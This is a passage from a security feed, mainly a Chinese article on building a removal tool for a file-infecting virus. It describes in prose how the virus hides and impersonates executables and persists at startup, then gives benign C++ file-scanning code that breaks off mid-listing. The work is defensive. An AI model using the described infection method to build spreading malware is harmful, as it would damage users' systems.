src="https://wechat2rss.xlab.app/img-proxy/?k=88e434d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MUQ0RScAfmwCMUicTRbAmgqIneLwvhxcia8QrKAmPk5h9pmTtdfibUNshic1gTfzASicxRCfy3zuf2jic1A%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">image.png</figcaption></figure><h1 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.6em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x03 注意事项</span></h1><ul style="font-size: inherit;color: inherit;line-height: inherit;padding-left: 32px;" class="list-paddingleft-1"><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">在越狱过程中，一定要注意选择适合您设备的越狱工具和操作系统版本。如果选择错误，可能会导致设备无法使用或出现其他问题。</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">越狱可能会使您的设备更加脆弱和不稳定，因此请谨慎考虑是否需要越狱。一些越狱应用和插件可能会导致设备出现问题或无法启动，甚至可能会损坏设备。</span></p></li><li style="font-size: inherit;color: inherit;line-height: inherit;margin-bottom: 0.5em;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">在越狱后，一定要注意安装和使用可信的越狱应用和插件，以避免安全问题和系统崩溃等问题。一些未经官方认证的应用和插件可能包含恶意代码或病毒，会对设备造成损害。</span></p></li></ul></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486429">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4010e640&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NDg4MTIxMw%3D%3D%26mid%3D2247486429%26idx%3D1%26sn%3D6558b54418c94903a36e1bb0fcaa82b0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Mar 2023 08:08:00 +0800</pubDate>
    </item>
    <item>
      <title>如何从零写一个病毒专杀工具</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486403&amp;idx=1&amp;sn=33f1abf56a3fca80d729e6c222e84dff</link>
      <description>如何从零写一款病毒专杀工具</description>
      <content:encoded><![CDATA[<p>
原创 <span>浮萍</span> <span>2022-10-28 08:05</span> <span style="display: inline-block;">中国</span>
</p>

<p>如何从零写一款病毒专杀工具</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=860dc82b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdML4nbBkYHIF43JOILm2QYnuhOUU4nUuVwUu2CBHqHhMicNAjQwQQ85g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="font-size: 15px;color: rgb(62, 62, 62);line-height: 1.8;word-spacing: 2px;letter-spacing: 2px;font-family: &#39;Helvetica Neue&#39;, Helvetica, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;background-image: linear-gradient(90deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%), linear-gradient(360deg, rgba(50, 0, 0, 0.05) 3%, rgba(0, 0, 0, 0) 3%);background-size: 20px 20px;background-position: center center;"><h2 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x00 前言</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">最近有这样一个需求，需要对某病毒写一个专杀工具，针对这款病毒进行查杀。这个病毒样本是今年2月份发现的，该病毒相对来说比较友好，没有采用加密，也没有删除原文件，也没有网络传播行为。只是会感染可执行文件，会将原文件修改名字，生成一个与原文件同名的感染文件，运行后可继续感染其他文件。接下来首先从非专业的角度来简单看一下该病毒是如何运行的。</p><h2 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x01 病毒分析</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">运行病毒文件，一旦找到可感染的可执行文件，病毒会将其复制为 <code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">g&lt;原始文件名&gt;.exe</code>，并将其隐藏。然后用原程序的名称和图标复制自己；如果原文件的资源中不存在该图标，病毒将使用自己的图标，并留下一个0大小的文件<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">g&lt;原始文件名&gt;.ico</code>。生成的文件大小为522k左右。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.9363166953528399" title="img" data-type="png" data-w="1162" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=d7898391&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdOekXDZUluJ12l3Ev5GPvgAroibWOSj9ujwvV3KEJAiaBXyVyDwtMib4Fg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">如上图，<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">python.exe</code>感染后会生成<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">gpython.exe<span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;word-spacing: 2px;">（原始</span><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;word-spacing: 2px;">程序</span><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;word-spacing: 2px;">）</span></code>并隐藏，此时<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">python.exe<span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;word-spacing: 2px;">（感染</span><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;word-spacing: 2px;">程序</span><span style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;word-spacing: 2px;">）</span></code>相当于一个加载器，运行时会执行病毒程序同时运行<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">gpython.exe</code>。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">如果文件夹中文件exe文件是g开头，则不感染。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.36724137931034484" title="img" data-type="png" data-w="1160" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e725a79a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwd0LSlJHDBaticX7fxkR5C1gLf9Mu6FITH9QpGLLrA9Djz2Sk2UKa6uCg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">当点击替换后的可执行文件后，病毒会启动恶意主程序ground.exe，感染其他可执行文件，并设置开机启动项。</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6533575317604355" title="img" data-type="png" data-w="1102" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=bbdbcc44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdp0I4ricks5IOW4XvjOknmjY6qfWVBUdSuU35yic3ricvZdGtuibySsZeuA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">启动项</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6013179571663921" title="img" data-type="png" data-w="1214" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=f7efe2b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwdx0ic8pqjoREz3Vs4fb67F3E1R7pIRs8G1IO8xn6LcsE4Hz4RGV6tDDA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">通过非专业的角度对病毒文件的运行进行了简单的分析，病毒查杀的话就是全盘或指定路径扫描可执行文件，根据病毒文件的特征码来判断该文件是否是病毒文件，如果是则进行删除，然后将原文件进行恢复。大致流程如下图：</p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="1.7403245942571786" title="img" data-type="png" data-w="801" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=4072f874&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MWI0VqudFK62Sso7ITrouwd9Wa2ic1L0nrtO5p0sCUXTqmwPAmuAFicPJ1sO821ffACXEEFicfia3FiczA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">img</figcaption></figure><h2 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;font-size: 1.4em;"><span style="font-size: inherit;color: inherit;line-height: inherit;">0x02 代码编写</span></h2><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">根据上面的流程图，查杀代码可以分为三部分：1.实现可执行文件的扫描功能；2.实现病毒特征识别功能；3.删除病毒，恢复原文件。语言采用了C++，面向必（C）应（V）编程。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">1.文件扫描实现</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">其实就是递归遍历目录下的所有可执行文件，这里实现的方式有多种。例如可以采用<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">filesystem</code>（C++17以上）、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">io.h</code>、<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">winApi</code>等。这里采用的是winApi。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">主要代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;string&gt;</span></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span><span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;Windows.h&gt;</span></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">using</span> <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">namespace</span> <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">std</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span><span style="font-size: inherit;line-height: inherit;color: rgb(91, 218, 237);overflow-wrap: inherit !important;word-break: inherit !important;">#<span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">include</span> <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">&lt;vector&gt;</span></span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">vector</span>&lt;<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">string</span>&gt;  result;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">bool</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">search</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">const</span>  <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span>* path = <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;C:\\&#34;</span>, <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span>* file = <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;exe&#34;</span>)</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span>    </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>        HANDLE hFile;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span>   buffer[MAX_PATH] = { <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>, };<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>        WIN32_FIND_DATA pNextInfo;  <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//搜索得到的文件信息将储存在pNextInfo中;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span>        sprintf_s(buffer, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;%s\\*.*&#34;</span>, path);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>        hFile = FindFirstFile(buffer, &amp;pNextInfo);<span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//请注意是 &amp;pNextInfo , 不是 pNextInfo;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (!hFile) {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">false</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>        }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">string</span>  t;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//cout &lt;&lt; buffer &lt;&lt; endl;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">while</span> (FindNextFile(hFile, &amp;pNextInfo))<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>        {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pNextInfo.cFileName[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>] == <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;.&#39;</span>)<span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//过滤.和..</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span>                <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">continue</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//cout &lt;&lt; pNextInfo.cFileName &lt;&lt; endl;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (pNextInfo.dwFileAttributes &amp; FILE_ATTRIBUTE_DIRECTORY)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>            {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span>                ZeroMemory(buffer, MAX_PATH);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>                sprintf_s(buffer, <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;%s\\%s&#34;</span>, path, pNextInfo.cFileName);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span>                <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//cout &lt;&lt; buffer &lt;&lt; endl;</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>                search(buffer, file);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span>            }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>            t.assign(path);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span>            t += <span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#39;\\&#39;</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>            t.append(pNextInfo.cFileName);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">int</span> len = <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">strlen</span>(file);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">36</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">if</span> (t.substr(t.size() - len) == file)<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">37</span>            {<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">38</span>                result.push_back(t);<span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">//对t对象进行深复制</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">39</span>            }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">40</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">41</span>        }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">42</span>        <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">return</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">true</span>;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">43</span>    }<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">44</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">45</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">int</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">46</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">47</span>    search(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;E:\\&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">48</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit 